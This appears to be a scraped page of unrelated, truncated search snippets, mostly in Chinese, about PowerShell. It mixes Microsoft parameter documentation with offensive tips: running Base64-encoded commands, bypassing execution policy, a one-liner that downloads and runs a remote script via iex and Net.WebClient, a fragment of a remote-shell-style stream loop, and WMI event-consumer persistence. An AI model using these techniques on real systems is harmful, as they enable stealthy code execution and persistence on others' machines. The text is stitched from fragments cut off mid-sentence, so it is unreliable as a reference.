使用编码的方式执行whoami命令,我们首先使用下面的命令来进行编码 $command="whoami"$bytes= [System.Text.Encoding]::Unicode.GetBytes($command)$encodedCommand= [Convert]::ToBase64String($bytes)echo$encodedCommand 这串代码执行完之后就会打印出编码结果,之后直接执行即可powershell.exe -EncodedCommand $encodedComman...
示例:powershell.exe -command “iex(New-Object Net.WebClient).DownloadString(‘http://[REMOVED]/myScript.ps1’)” 3、使用EncodedCommand参数执行单个Base64编码的命令。这将从执行策略排除命令。 示例:powershell.exe -enc [ENCODED COMMAND] 4、使用执行策略指令并传递“Bypass ”或“Unrestricted ”作为论据。
{ write-host $line } $SCRIPT:output = "" } ## 获取用户的输入,如果读取到^D就退出 $command = read-host if($command -eq ([char] 4)) { break; } $writer.WriteLine($command) $writer.Flush() } } ## Close the streams $writer.Close() $stream.Close() ## 如果我们使用了管道输入的...
-EncodedCommand Accepts a base-64-encoded string version of a command. Use this parameter to submit commands to Windows PowerShell that require complex quotation marks or curly braces. And, it has a helpful example: 复制 # To use the -EncodedCommand parameter: $command = 'dir "c:\program...
CommandLineEventConsumer – 执行一个命令行程序 消费者绑定筛选器 消费者绑定筛选器?消费者绑定筛选器就是将筛选器绑定到消费者的注册机制。 实例代码 下面我们分析一个实例代码:其中第5个变量为事件筛选器、第6个变量为事件消费者、最后一个就是绑定事件筛选器和事件消费者,也就是通俗理解的执行。这个脚本能达到...
-EncodedCommandSpecifies the base64-encoded command text to execute. -ExecutionPolicySets the default execution policy for the console session. -FileSets the name of a script fi le to execute. -InputFormatSets the format for data sent to PowerShell as either text string or serialized XML. The ...
Gets or sets if the Markdown document should be converted to a VT100 encoded string. C# 复制 [System.Management.Automation.Parameter] public System.Management.Automation.SwitchParameter AsVT100EncodedString { get; set; } Property Value SwitchParameter Attributes ParameterAttribute A...
Measure-Command(測量命令) 測量物件 新別名 (New-Alias) 新事件 New-Guid (新GUID) New-Object 新建暫時檔案 New-TimeSpan New-變數 輸出檔案 Out-GridView (輸出網格檢視器) 外部印表機 Out-String Read-Host(讀取主機) 註冊引擎事件 註冊物件事件
Accepts a base-64-encoded string version of a command. Use this parameter to submit commands to Windows PowerShell that require complex quotation marks or curly braces. -ExecutionPolicy Sets the default execution policy for the current session and saves it in the $env:PSExecutionPolicyPreference env...
Basically, all I do is write the command-line arguments which the batch file got to a temporary file, and then invoke our PowerShell script. And here’s the proof that this actually works: c:\Scripts>pass-params.cmdHere are my parameters!